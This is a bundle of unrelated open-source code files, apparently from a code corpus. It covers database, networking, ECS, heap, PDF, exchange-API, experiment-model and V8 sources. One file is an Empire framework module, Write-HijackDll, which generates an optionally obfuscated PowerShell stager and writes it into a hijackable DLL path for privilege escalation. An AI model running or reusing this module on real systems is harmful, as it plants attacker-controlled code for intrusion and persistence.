zsummer::network::NetErrorCode _lastRecvError = NEC_SUCCESS;
//! http status data
bool _httpIsChunked = false;
std::string _httpMethod;
std::string _httpMethodLine;
std::map<std::string, std::string> _httpHeader;
//! user param
std::vector<TupleParam> _param;
TupleParam & autoTupleParamImpl(size_t index);
const TupleParam & peekTupleParamImpl(size_t index) const;
};
using TcpSessionPtr = std::shared_ptr<TcpSession>;
}
}
#endif
| 2,379 |
1,788 | <reponame>radmirnovii/databend
#!/usr/bin/env python3
import os
import sys
import signal
CURDIR = os.path.dirname(os.path.realpath(__file__))
sys.path.insert(0, os.path.join(CURDIR, '../../helpers'))
from client import client
log = None
# uncomment the line below for debugging
log = sys.stdout
client1 = client(name='client1>', log=log)
sqls = """
DROP DATABASE IF EXISTS db1;
CREATE DATABASE db1;
USE db1;
CREATE TABLE IF NOT EXISTS t1(a String, b String, c String, d String, e String, f String, g String, h String) Engine = Memory;
INSERT INTO t1 (a,b,c,d,e,f,g,h) VALUES('1','2','3','4','2021-08-15', '2021-09-15', '2021-08-15 10:00:00', 'string1234'),
('5','6','7','8','2021-10-15', '2021-11-15', '2021-11-15 10:00:00', 'string5678');
INSERT INTO t1(a,b,c,d,e,f,g,h) select * from t1;
SELECT COUNT(1) = 4 from t1;
DROP DATABASE db1;
"""
client1.run(sqls)
stdout, stderr = client1.run_with_output("select * from system.metrics")
assert stdout is not None
assert stderr is None
| 456 |
690 | <reponame>Mr00Anderson/artemis-odb
package com.artemis;
import com.artemis.annotations.SkipWire;
/**
* Most basic system.
*
* Upon calling world.process(), your systems are processed in sequence.
*
* Flow:
* {@link #initialize()} - Initialize your system, on top of the dependency injection.
* {@link #begin()} - Called before the entities are processed.
* {@link #processSystem()} - Called once per cycle.
* {@link #end()} - Called after the entities have been processed.
*
* @see com.artemis.annotations.Wire
*/
public abstract class BaseSystem {
/** The world this system belongs to. */
@SkipWire
protected World world;
public BaseSystem() {}
/**
* Called before system processing begins.
* <p>
* <b>Nota Bene:</b> Any entities created in this method
* won't become active until the next system starts processing
* or when a new processing rounds begins, whichever comes first.
* </p>
*/
protected void begin() {}
/**
* Process system.
*
* Does nothing if {@link #checkProcessing()} is false or the system
* is disabled.
*
* @see InvocationStrategy
*/
public final void process() {
if(checkProcessing()) {
begin();
processSystem();
end();
}
}
/**
* Process the system.
*/
protected abstract void processSystem();
/**
* Called after the systems has finished processing.
*/
protected void end() {}
/**
* Does the system desire processing.
*
* Useful when the system is enabled, but only occasionally
* needs to process.
*
* This only affects processing, and does not affect events
* or subscription lists.
*
* @return true if the system should be processed, false if not.
* @see #isEnabled() both must be true before the system will process.
*/
@SuppressWarnings("static-method")
protected boolean checkProcessing() {
return true;
}
/**
* Override to implement code that gets executed when systems are
* initialized.
*
* Note that artemis native types like systems, factories and
* component mappers are automatically injected by artemis.
*/
protected void initialize() {}
/**
* Check if the system is enabled.
*
* @return {@code true} if enabled, otherwise false
*/
public boolean isEnabled() {
return world.invocationStrategy.isEnabled(this);
}
/**
* Enabled systems run during {@link #process()}.
*
* This only affects processing, and does not affect events
* or subscription lists.
*
* Systems are enabled by default.
*
* @param enabled
* system will not run when set to false
* @see #checkProcessing() both must be true before the system will process.
*/
public void setEnabled(boolean enabled) {
world.invocationStrategy.setEnabled(this, enabled);
}
/**
* Set the world this system works on.
*
* @param world
* the world to set
*/
protected void setWorld(World world) {
this.world = world;
}
/**
* Get the world associated with the manager.
*
* @return the associated world
*/
protected World getWorld() {
return world;
}
/**
* see {@link World#dispose()}
*/
protected void dispose() {}
}
| 934 |
403 | <reponame>queer/utt<gh_stars>100-1000
package gg.amy.utt.transform.impl;
import gg.amy.utt.data.InputFormat;
import gg.amy.utt.data.OutputFormat;
import gg.amy.utt.transform.TransformationContext;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author amy
* @since 2/27/22.
*/
public class CsvTransformerTest {
@Test
public void testCsvIdentityTransformation() {
final var input = """
name,age,address
amy,42069,"123 fake street, nowhere, this was generated by github copilot"
""";
final var ctx = new TransformationContext(InputFormat.CSV, OutputFormat.CSV, null, null, false, false);
final var out = new CsvTransformer().transformOutput(ctx, new CsvTransformer().transformInput(ctx, input));
// TODO: Can we preserve the outer tag name somehow?
assertEquals("""
name,age,address
amy,42069,"123 fake street, nowhere, this was generated by github copilot"
""", out);
}
@Test
public void testJsonToCsvTransformation() {
final var input = """
{
"name": "amy",
"age": 42069,
"address": {
"street": "123 fake street",
"city": "nowhere",
"state": "this was generated by github copilot"
}
}
""";
final var ctx = new TransformationContext(InputFormat.JSON, OutputFormat.CSV, null, null, false, false);
final var out = new CsvTransformer().transformOutput(ctx, new JsonTransformer().transformInput(ctx, input));
assertEquals("""
name,age,address
amy,42069,"{""street"":""123 fake street"",""city"":""nowhere"",""state"":""this was generated by github copilot""}"
""", out);
}
}
| 907 |
849 | """
Copyright (c) 2016-present, Facebook, Inc.
All rights reserved.
This source code is licensed under the BSD-style license found in the
LICENSE file in the root directory of this source tree. An additional grant
of patent rights can be found in the PATENTS file in the same directory.
"""
import ipaddress
import time
import unittest
import s1ap_types
import s1ap_wrapper
from integ_tests.s1aptests.s1ap_utils import SpgwUtil
class TestIPv4v6SecondaryPdnSpgwInitiatedDedBearer(unittest.TestCase):
"""Test ipv4v6 secondary pdn with spgw initiated dedicated bearer"""
def setUp(self):
"""Initialize"""
self._s1ap_wrapper = s1ap_wrapper.TestWrapper()
self._spgw_util = SpgwUtil()
def tearDown(self):
"""Cleanup"""
self._s1ap_wrapper.cleanup()
def test_ipv4v6_secondary_pdn_spgw_initiated_ded_bearer(self):
"""Attach a single UE + add a secondary pdn with
IPv4v6 + trigger dedicated bearer from spgw + detach
"""
num_ue = 1
self._s1ap_wrapper.configUEDevice(num_ue)
req = self._s1ap_wrapper.ue_req
ue_id = req.ue_id
# APN of the secondary PDNs
ims_apn = {
"apn_name": "ims", # APN-name
"qci": 5, # qci
"priority": 15, # priority
"pre_cap": 0, # preemption-capability
"pre_vul": 0, # preemption-vulnerability
"mbr_ul": 200000000, # MBR UL
"mbr_dl": 100000000, # MBR DL
"pdn_type": 2, # PDN Type 0-IPv4,1-IPv6,2-IPv4v6
}
apn_list = [ims_apn]
self._s1ap_wrapper.configAPN(
"IMSI" + "".join([str(i) for i in req.imsi]), apn_list,
)
print(
"*********************** Running End to End attach for UE id ",
ue_id,
)
print("***** Sleeping for 5 seconds")
time.sleep(5)
# Attach
attach = self._s1ap_wrapper.s1_util.attach(
ue_id,
s1ap_types.tfwCmd.UE_END_TO_END_ATTACH_REQUEST,
s1ap_types.tfwCmd.UE_ATTACH_ACCEPT_IND,
s1ap_types.ueAttachAccept_t,
)
addr = attach.esmInfo.pAddr.addrInfo
default_ip = ipaddress.ip_address(bytes(addr[:4]))
# Wait on EMM Information from MME
self._s1ap_wrapper._s1_util.receive_emm_info()
print("***** Sleeping for 5 seconds")
time.sleep(5)
apn = "ims"
# PDN Type 2 = IPv6, 3 = IPv4v6
pdn_type = 3
# Send PDN Connectivity Request
self._s1ap_wrapper.sendPdnConnectivityReq(
ue_id, apn, pdn_type=pdn_type,
)
# Receive PDN CONN RSP/Activate default EPS bearer context request
response = self._s1ap_wrapper.s1_util.get_response()
self.assertEqual(
response.msg_type, s1ap_types.tfwCmd.UE_PDN_CONN_RSP_IND.value,
)
act_def_bearer_req = response.cast(s1ap_types.uePdnConRsp_t)
pdn_type = act_def_bearer_req.m.pdnInfo.pAddr.pdnType
addr = act_def_bearer_req.m.pdnInfo.pAddr.addrInfo
sec_ip_ipv4 = None
if pdn_type == 1:
sec_ip_ipv4 = ipaddress.ip_address(bytes(addr[:4]))
elif pdn_type == 3:
sec_ip_ipv4 = ipaddress.ip_address(bytes(addr[8:12]))
print(
"********************** Sending Activate default EPS bearer "
"context accept for APN-%s, UE id-%d" % (apn, ue_id),
)
print(
"********************** Added default bearer for apn-%s,"
" bearer id-%d, pdn type-%d"
% (apn, act_def_bearer_req.m.pdnInfo.epsBearerId, pdn_type),
)
# Receive Router Advertisement message
response = self._s1ap_wrapper.s1_util.get_response()
self.assertEqual(
response.msg_type, s1ap_types.tfwCmd.UE_ROUTER_ADV_IND.value,
)
router_adv = response.cast(s1ap_types.ueRouterAdv_t)
print(
"******************* Received Router Advertisement for APN-%s"
" ,bearer id-%d" % (apn, router_adv.bearerId),
)
ipv6_addr = "".join([chr(i) for i in router_adv.ipv6Addr]).rstrip(
"\x00",
)
print("******* UE IPv6 address: ", ipv6_addr)
sec_ip_ipv6 = ipaddress.ip_address(ipv6_addr)
print("***** Sleeping for 5 seconds")
time.sleep(5)
# Add dedicated bearer
print("********************** Adding dedicated bearer to ims PDN")
# Create default ipv4v6 flow list
flow_list = self._spgw_util.create_default_ipv4v6_flows()
self._spgw_util.create_bearer(
"IMSI" + "".join([str(i) for i in req.imsi]),
act_def_bearer_req.m.pdnInfo.epsBearerId,
flow_list,
)
response = self._s1ap_wrapper.s1_util.get_response()
self.assertEqual(
response.msg_type, s1ap_types.tfwCmd.UE_ACT_DED_BER_REQ.value,
)
act_ded_ber_ctxt_req = response.cast(s1ap_types.UeActDedBearCtxtReq_t)
self._s1ap_wrapper.sendActDedicatedBearerAccept(
req.ue_id, act_ded_ber_ctxt_req.bearerId,
)
print(
"************* Added dedicated bearer",
act_ded_ber_ctxt_req.bearerId,
)
print("***** Sleeping for 10 seconds")
time.sleep(10)
# ipv4 default pdn + ipv4v6(ims) pdn + dedicated bearer for ims pdn
num_ul_flows = 3
# For ipv4v6 pdn, pass default_ip, sec_ip_ipv4 and sec_ip_ipv6
if pdn_type == 3:
dl_flow_rules = {
default_ip: [],
sec_ip_ipv4: [flow_list],
sec_ip_ipv6: [flow_list],
}
# For ipv6 pdn, pass default_ip, sec_ip_ipv6
if pdn_type == 2:
dl_flow_rules = {
default_ip: [],
sec_ip_ipv6: [flow_list],
}
# Verify if flow rules are created
self._s1ap_wrapper.s1_util.verify_flow_rules(
num_ul_flows, dl_flow_rules,
)
print(
"********************** Deleting dedicated bearer for IMSI",
"".join([str(i) for i in req.imsi]),
)
self._spgw_util.delete_bearer(
"IMSI" + "".join([str(i) for i in req.imsi]),
act_def_bearer_req.m.pdnInfo.epsBearerId,
act_ded_ber_ctxt_req.bearerId,
)
response = self._s1ap_wrapper.s1_util.get_response()
self.assertEqual(
response.msg_type, s1ap_types.tfwCmd.UE_DEACTIVATE_BER_REQ.value,
)
print("******************* Received deactivate eps bearer context")
deactv_bearer_req = response.cast(s1ap_types.UeDeActvBearCtxtReq_t)
self._s1ap_wrapper.sendDeactDedicatedBearerAccept(
req.ue_id, deactv_bearer_req.bearerId,
)
print("***** Sleeping for 5 seconds")
time.sleep(5)
# ipv4 default pdn + ipv4v6(ims) pdn
num_ul_flows = 2
# For ipv4v6 pdn, pass default_ip, sec_ip_ipv4 and sec_ip_ipv6
if pdn_type == 3:
dl_flow_rules = {
default_ip: [],
sec_ip_ipv4: [],
sec_ip_ipv6: [],
}
# For ipv6 pdn, pass default_ip, sec_ip_ipv6
if pdn_type == 2:
dl_flow_rules = {
default_ip: [],
sec_ip_ipv6: [],
}
# Verify if flow rules are created
self._s1ap_wrapper.s1_util.verify_flow_rules(
num_ul_flows, dl_flow_rules,
)
print(
"******************* Running UE detach (switch-off) for ",
"UE id ",
ue_id,
)
# Now detach the UE
self._s1ap_wrapper.s1_util.detach(
ue_id, s1ap_types.ueDetachType_t.UE_SWITCHOFF_DETACH.value, False,
)
if __name__ == "__main__":
unittest.main()
| 4,129 |
323 | <filename>include/nanorange/algorithm/pop_heap.hpp<gh_stars>100-1000
// nanorange/algorithm/pop_heap.hpp
//
// Copyright (c) 2018 <NAME> (<EMAIL> at <EMAIL> dot <EMAIL>)
// Distributed under the Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
#ifndef NANORANGE_ALGORITHM_POP_HEAP_HPP_INCLUDED
#define NANORANGE_ALGORITHM_POP_HEAP_HPP_INCLUDED
#include <nanorange/detail/algorithm/heap_sift.hpp>
#include <nanorange/ranges.hpp>
NANO_BEGIN_NAMESPACE
namespace detail {
struct pop_heap_fn {
private:
friend struct sort_heap_fn;
template <typename I, typename Comp, typename Proj>
static constexpr I impl(I first, iter_difference_t<I> n, Comp& comp,
Proj& proj)
{
if (n > 1) {
nano::iter_swap(first, first + (n - 1));
detail::sift_down_n(first, n - 1, first, comp, proj);
}
return first + n;
}
public:
template <typename I, typename S, typename Comp = ranges::less,
typename Proj = identity>
constexpr std::enable_if_t<random_access_iterator<I> && sentinel_for<S, I> &&
sortable<I, Comp, Proj>, I>
operator()(I first, S last, Comp comp = Comp{}, Proj proj = Proj{}) const
{
const auto n = nano::distance(first, last);
return pop_heap_fn::impl(std::move(first), n, comp, proj);
}
template <typename Rng, typename Comp = ranges::less, typename Proj = identity>
constexpr std::enable_if_t<random_access_range<Rng> &&
sortable<iterator_t<Rng>, Comp, Proj>,
borrowed_iterator_t<Rng>>
operator()(Rng&& rng, Comp comp = Comp{}, Proj proj = Proj{}) const
{
return pop_heap_fn::impl(nano::begin(rng), nano::distance(rng), comp,
proj);
}
};
} // namespace detail
NANO_INLINE_VAR(detail::pop_heap_fn, pop_heap)
NANO_END_NAMESPACE
#endif
| 963 |
1,605 | <gh_stars>1000+
/*****************************************************************************
*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*
****************************************************************************/
package org.apache.pdfbox.preflight.process;
import org.apache.pdfbox.cos.COSDictionary;
import org.apache.pdfbox.cos.COSDocument;
import org.apache.pdfbox.cos.COSName;
import org.apache.pdfbox.preflight.PreflightConstants;
import org.apache.pdfbox.preflight.PreflightContext;
import org.apache.pdfbox.preflight.ValidationResult.ValidationError;
import org.apache.pdfbox.preflight.exception.ValidationException;
/**
*
* This validation process check that FileSpec dictionaries are confirming with the PDF/A-1b specification.
*/
public class FileSpecificationValidationProcess extends AbstractProcess
{
@Override
public void validate(PreflightContext ctx) throws ValidationException
{
COSDocument cDoc = ctx.getDocument().getDocument();
cDoc.getObjectsByType(COSName.FILESPEC, COSName.F)
.forEach(o -> validateFileSpecification(ctx, (COSDictionary) o.getObject()));
}
/**
* Validate a FileSpec dictionary, a FileSpec dictionary mustn't have the EF (EmbeddedFile) entry.
*
* @param ctx the preflight context.
* @param fileSpec the FileSpec Dictionary.
*/
public void validateFileSpecification(PreflightContext ctx, COSDictionary fileSpec)
{
// ---- Check dictionary entries
// ---- Only the EF entry is forbidden
if (fileSpec.getItem(COSName.EF) != null)
{
addValidationError(ctx,
new ValidationError(PreflightConstants.ERROR_SYNTAX_EMBEDDED_FILES,
"EmbeddedFile entry is present in a FileSpecification dictionary"));
}
}
}
| 812 |
2,023 | <reponame>tdiprima/code
def oa(o):
for at in dir(o):
print at,
'''
Sample calls and output for oa() below:
# object attributes of a dict:
oa({})
__class__ __cmp__ __contains__ __delattr__ __delitem__ __doc__ __eq__ __format__
__ge__ __getattribute__ __getitem__ __gt__ __hash__ __init__ __iter__ __le__ __len__
__lt__ __ne__ __new__ __reduce__ __reduce_ex__ __repr__ __setattr__ __setitem__
__sizeof__ __str__ __subclasshook__ clear copy fromkeys get has_key items
iteritems iterkeys itervalues keys pop popitem setdefault update values viewitems
viewkeys viewvalues
# object attributes of a list:
oa([])
__add__ __class__ __contains__ __delattr__ __delitem__ __delslice__ __doc__ __eq__
__format__ __ge__ __getattribute__ __getitem__ __getslice__ __gt__ __hash__ __iadd__
__imul__ __init__ __iter__ __le__ __len__ __lt__ __mul__ __ne__ __new__
__reduce__ __reduce_ex__ __repr__ __reversed__ __rmul__ __setattr__ __setitem__
__setslice__ __sizeof__ __str__ __subclasshook__ append count extend index insert
pop remove reverse sort
# object attributes of an int:
oa(1)
__abs__ __add__ __and__ __class__ __cmp__ __coerce__ __delattr__ __div__ __divmod__
__doc__ __float__ __floordiv__ __format__ __getattribute__ __getnewargs__ __hash__
__hex__ __index__ __init__ __int__ __invert__ __long__ __lshift__ __mod__
__mul__ __neg__ __new__ __nonzero__ __oct__ __or__ __pos__ __pow__ __radd__ __rand__
__rdiv__ __rdivmod__ __reduce__ __reduce_ex__ __repr__ __rfloordiv__ __rlshift__
__rmod__ __rmul__ __ror__ __rpow__ __rrshift__ __rshift__ __rsub__ __rtruediv__
__rxor__ __setattr__ __sizeof__ __str__ __sub__ __subclasshook__ __truediv__
__trunc__ __xor__ bit_length conjugate denominator imag numerator real
'''
def oar(o):
for at in dir(o):
if not at.startswith('__') and not at.endswith('__'):
print at,
'''
# regular (meaning non-dunder) object attributes of a dict:
oar({})
clear copy fromkeys get has_key items iteritems iterkeys itervalues keys pop popitem
setdefault update values viewitems viewkeys viewvalues
# regular object attributes of an int:
oar(1)
bit_length conjugate denominator imag numerator real
# regular object attributes of a string:
oar('')
_formatter_field_name_split _formatter_parser capitalize center count decode encode
endswith expandtabs find format index isalnum isalpha isdigit islower isspace
istitle isupper join ljust lower lstrip partition replace rfind rindex rjust rpartition
rsplit rstrip split splitlines startswith strip swapcase title translate upper zfil
'''
| 893 |
1,109 | /*******************************************************************************
* Copyright 2016 Intuit
* <p>
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
* <p>
* http://www.apache.org/licenses/LICENSE-2.0
* <p>
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*******************************************************************************/
package com.intuit.wasabi.experimentobjects;
import com.fasterxml.jackson.annotation.JsonIgnore;
import com.google.common.base.Preconditions;
import io.swagger.annotations.ApiModel;
import io.swagger.annotations.ApiModelProperty;
import org.apache.commons.lang3.builder.ToStringBuilder;
import org.apache.commons.lang3.builder.ToStringStyle;
import java.util.Date;
import java.util.Set;
import java.util.TreeSet;
/**
* Specification of a new experiment
*/
@ApiModel(description = "Subset of Experiment used to create a new experiment.")
public class NewExperiment implements ExperimentBase {
// Note, if adding a member variable, be sure to update the builder's
// copy contructor
@ApiModelProperty(value = "Experiment ID", dataType = "UUID")
private Experiment.ID id;
@ApiModelProperty(value = "Experiment Label", dataType = "String", required = true)
private Experiment.Label label;
@ApiModelProperty(value = "Application Name", dataType = "String", required = true)
private Application.Name applicationName;
@ApiModelProperty(example = "2014-06-10T00:00:00-0000", required = true)
private Date startTime;
@ApiModelProperty(example = "2018-12-25T00:00:00-0000", required = true)
private Date endTime;
@ApiModelProperty(required = true)
private Double samplingPercent;
@ApiModelProperty(required = true)
private String description;
@ApiModelProperty(required = false)
private String hypothesisIsCorrect = "";
@ApiModelProperty(required = false)
private String results = "";
@ApiModelProperty(required = false)
private String rule = "";
@ApiModelProperty(required = false)
private Boolean isPersonalizationEnabled = false;
@ApiModelProperty(required = false)
private String modelName = "";
@ApiModelProperty(required = false)
private String modelVersion = "";
@ApiModelProperty(value = "is this a rapid experiment", required = false)
private Boolean isRapidExperiment = false;
@ApiModelProperty(value = "maximum number of users to allow before pausing the experiment", required = false)
private Integer userCap = Integer.MAX_VALUE;
@ApiModelProperty(required = false)
private String creatorID = "";
@ApiModelProperty(value = "a set of experiment tags")
private Set<String> tags;
@ApiModelProperty(required = false)
private String sourceURL = "";
@ApiModelProperty(required = false)
private String experimentType="";
public NewExperiment(Experiment.ID id) {
super();
this.id = id;
}
public NewExperiment() {
this.id = Experiment.ID.newInstance();
}
public Experiment.ID getId() {
return id;
}
public void setId(Experiment.ID id) {
Preconditions.checkNotNull(id);
this.id = id;
}
public void setLabel(Experiment.Label label) {
Preconditions.checkNotNull(label);
this.label = label;
}
public void setStartTime(Date startTime) {
Preconditions.checkNotNull(startTime);
this.startTime = startTime;
}
public void setEndTime(Date endTime) {
Preconditions.checkNotNull(endTime);
this.endTime = endTime;
}
public void setSamplingPercent(Double samplingPercent) {
this.samplingPercent = samplingPercent;
}
public void setDescription(String description) {
this.description = description;
}
public void setHypothesisIsCorrect(String hypothesisIsCorrect) {
this.hypothesisIsCorrect = hypothesisIsCorrect;
}
public void setResults(String results) {
this.results = results;
}
public void setRule(String rule) {
this.rule = rule;
}
public void setIsPersonalizationEnabled(Boolean isPersonalizationEnabled) {
this.isPersonalizationEnabled = isPersonalizationEnabled;
}
public void setModelName(String modelName) {
this.modelName = modelName;
}
public void setModelVersion(String modelVersion) {
this.modelVersion = modelVersion;
}
public void setIsRapidExperiment(Boolean isRapidExperiment) {
this.isRapidExperiment = isRapidExperiment;
}
public void setUserCap(Integer userCap) {
this.userCap = userCap;
}
public String getSourceURL() {
return sourceURL;
}
public void setSourceURL(String sourceURL) {
this.sourceURL = sourceURL;
}
public String getExperimentType() {
return experimentType;
}
public void setExperimentType(String experimentType) {
this.experimentType = experimentType;
}
public static NewExperiment.Builder withID(Experiment.ID id) {
return new NewExperiment.Builder(id);
}
/**
* The ID for the new instance
*
* @return the experiment ID
*/
@Override
@JsonIgnore
public Experiment.ID getID() {
return id;
}
public Boolean getIsRapidExperiment() {
return isRapidExperiment;
}
public Integer getUserCap() {
return userCap;
}
@Override
public Boolean getIsPersonalizationEnabled() {
return isPersonalizationEnabled;
}
public String getModelName() {
return modelName;
}
public String getModelVersion() {
return modelVersion;
}
@Override
public String getDescription() {
return description;
}
public String getHypothesisIsCorrect() {
return hypothesisIsCorrect;
}
public String getResults() {
return results;
}
@Override
public String getRule() {
return rule;
}
@Override
public Experiment.State getState() {
return Experiment.State.DRAFT;
}
public Double getSamplingPercent() {
return samplingPercent;
}
@Override
public Date getStartTime() {
return startTime;
}
@Override
public Date getEndTime() {
return endTime;
}
@Override
public Experiment.Label getLabel() {
return label;
}
@Override
public Application.Name getApplicationName() {
return applicationName;
}
public void setApplicationName(Application.Name value) {
applicationName = value;
}
public String getCreatorID() {
return creatorID;
}
public void setCreatorID(String value) {
creatorID = value;
}
@Override
public Set<String> getTags() {
return tags;
}
public void setTags(Set<String> tags) {
if (null != tags)
this.tags = new TreeSet<>(tags);
else
this.tags = tags;
}
@Override
public String toString() {
return ToStringBuilder.reflectionToString(this, ToStringStyle.SHORT_PREFIX_STYLE);
}
/**
* Builder for a new instance
*/
public static final class Builder {
private NewExperiment instance;
private Builder(Experiment.ID id) {
instance = new NewExperiment(Preconditions.checkNotNull(id));
}
public Builder withDescription(final String value) {
instance.description = value;
return this;
}
public Builder withIsPersonalizationEnabled(Boolean value) {
instance.isPersonalizationEnabled = value;
return this;
}
public Builder withModelName(String value) {
instance.modelName = value;
return this;
}
public Builder withModelVersion(String value) {
instance.modelVersion = value;
return this;
}
public Builder withRule(final String value) {
instance.rule = value;
return this;
}
public Builder withSamplingPercent(Double value) {
instance.samplingPercent = (value == null ? 0d : value);
return this;
}
public Builder withStartTime(final Date value) {
instance.startTime = Preconditions.checkNotNull(value);
return this;
}
public Builder withEndTime(final Date value) {
instance.endTime = Preconditions.checkNotNull(value);
return this;
}
public Builder withLabel(final Experiment.Label value) {
instance.label = Preconditions.checkNotNull(value);
return this;
}
public Builder withAppName(final Application.Name value) {
instance.applicationName = Preconditions.checkNotNull(value);
return this;
}
public Builder withIsRapidExperiment(Boolean isRapidExperiment) {
instance.isRapidExperiment = isRapidExperiment;
return this;
}
public Builder withUserCap(Integer userCap) {
instance.userCap = userCap;
return this;
}
public Builder withCreatorID(final String value) {
instance.creatorID = Preconditions.checkNotNull(value);
return this;
}
public Builder withTags(final Set<String> tags) {
instance.setTags(tags);
return this;
}
public Builder withSourceURL(final String value) {
instance.sourceURL = value;
return this;
}
public Builder withexperimentType(final String value) {
instance.experimentType = value;
return this;
}
public NewExperiment build() {
new ExperimentValidator().validateNewExperiment(instance);
NewExperiment result = instance;
instance = null;
return result;
}
}
}
| 3,936 |
24,910 | # -*- coding: utf-8 -*-
import os
import sys
from pprint import pprint
root = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
sys.path.append(root + '/python')
import ccxt # noqa: E402
print('CCXT Version:', ccxt.__version__)
exchange = ccxt.binance({
'apiKey': 'YOUR_API_KEY',
'secret': 'YOUR_SECRET',
})
markets = exchange.load_markets()
# exchange.verbose = True # uncomment for debugging purposes if necessary
symbol = 'ETH/USDT'
try:
print('--------------------------------------------------------------')
# option 1 – specify price * amount
amount = 1
price = 4000
# cost = amount * price
# this line will use the amount * price to calculate the total cost-to-spend (4000)
order = exchange.create_order(symbol, 'market', 'buy', amount, price)
pprint(order)
print('--------------------------------------------------------------')
# option 2 – specify
# this line does the same, but you override the cost via extra params
params = {
'quoteOrderQty': 4000, # binance-specific
}
amount = None
price = None
order = exchange.create_order(symbol, 'market', 'buy', amount, price, params)
pprint(order)
except Exception as e:
print(type(e).__name__, str(e))
| 447 |
2,541 | from __future__ import print_function
from builtins import object
from builtins import str
from typing import Dict
from empire.server.common import helpers
from empire.server.common.module_models import PydanticModule
from empire.server.utils import data_util
from empire.server.utils.module_util import handle_error_message
class Module(object):
@staticmethod
def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""):
# Set booleans to false by default
obfuscate = False
# staging options
if (params['Obfuscate']).lower() == 'true':
obfuscate = True
obfuscate_command = params['ObfuscateCommand']
module_name = 'Write-HijackDll'
# read in the common powerup.ps1 module source code
module_source = main_menu.installPath + "/data/module_source/privesc/PowerUp.ps1"
if obfuscate:
data_util.obfuscate_module(moduleSource=module_source, obfuscationCommand=obfuscation_command)
module_source = module_source.replace("module_source", "obfuscated_module_source")
try:
f = open(module_source, 'r')
except:
return handle_error_message("[!] Could not read module source path at: " + str(module_source))
module_code = f.read()
f.close()
# # get just the code needed for the specified function
# script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
script = module_code
script_end = ';' + module_name + " "
# extract all of our options
listener_name = params['Listener']
user_agent = params['UserAgent']
proxy = params['Proxy']
proxy_creds = params['ProxyCreds']
# generate the launcher code
launcher = main_menu.stagers.generate_launcher(listener_name, language='powershell', encode=True,
obfuscate=obfuscate,
obfuscationCommand=obfuscate_command, userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds, bypasses=params['Bypasses'])
if launcher == "":
return handle_error_message("[!] Error in launcher command generation.")
else:
out_file = params['DllPath']
script_end += " -Command \"%s\"" % (launcher)
script_end += " -DllPath %s" % (out_file)
outputf = params.get("OutputFunction", "Out-String")
script_end += f" | {outputf} | " + '%{$_ + \"`n\"};"`n' + str(module.name.split("/")[-1]) + ' completed!"'
if obfuscate:
script_end = helpers.obfuscate(main_menu.installPath, psScript=script_end, obfuscationCommand=obfuscation_command)
script += script_end
script = data_util.keyword_obfuscation(script)
return script
| 1,306 |
679 | <reponame>Grosskopf/openoffice<filename>main/chart2/source/controller/inc/dlg_InsertTitle.hxx<gh_stars>100-1000
/**************************************************************
*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*
*************************************************************/
#ifndef _CHART2_DLG_INSERT_TITLE_GRID_HXX
#define _CHART2_DLG_INSERT_TITLE_GRID_HXX
#include "TitleDialogData.hxx"
#include <vcl/dialog.hxx>
#ifndef _SV_BUTTON_HXX
#include <vcl/button.hxx>
#endif
//for auto_ptr
#include <memory>
//.............................................................................
namespace chart
{
//.............................................................................
class TitleResources;
class SchTitleDlg : public ModalDialog
{
private:
::std::auto_ptr< TitleResources > m_apTitleResources;
OKButton aBtnOK;
CancelButton aBtnCancel;
HelpButton aBtnHelp;
public:
SchTitleDlg( Window* pParent, const TitleDialogData& rInput );
virtual ~SchTitleDlg();
void getResult( TitleDialogData& rOutput );
};
//.............................................................................
} //namespace chart
//.............................................................................
#endif
| 536 |
20,995 | <gh_stars>1000+
// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef V8_HEAP_CODE_OBJECT_REGISTRY_H_
#define V8_HEAP_CODE_OBJECT_REGISTRY_H_
#include <set>
#include <vector>
#include "src/base/macros.h"
#include "src/base/platform/mutex.h"
#include "src/common/globals.h"
namespace v8 {
namespace internal {
// The CodeObjectRegistry holds all start addresses of code objects of a given
// MemoryChunk. Each MemoryChunk owns a separate CodeObjectRegistry. The
// CodeObjectRegistry allows fast lookup from an inner pointer of a code object
// to the actual code object.
class V8_EXPORT_PRIVATE CodeObjectRegistry {
public:
void RegisterNewlyAllocatedCodeObject(Address code);
void RegisterAlreadyExistingCodeObject(Address code);
void Clear();
void Finalize();
bool Contains(Address code) const;
Address GetCodeObjectStartFromInnerAddress(Address address) const;
private:
// A vector of addresses, which may be sorted. This is set to 'mutable' so
// that it can be lazily sorted during GetCodeObjectStartFromInnerAddress.
mutable std::vector<Address> code_object_registry_;
mutable bool is_sorted_ = true;
};
} // namespace internal
} // namespace v8
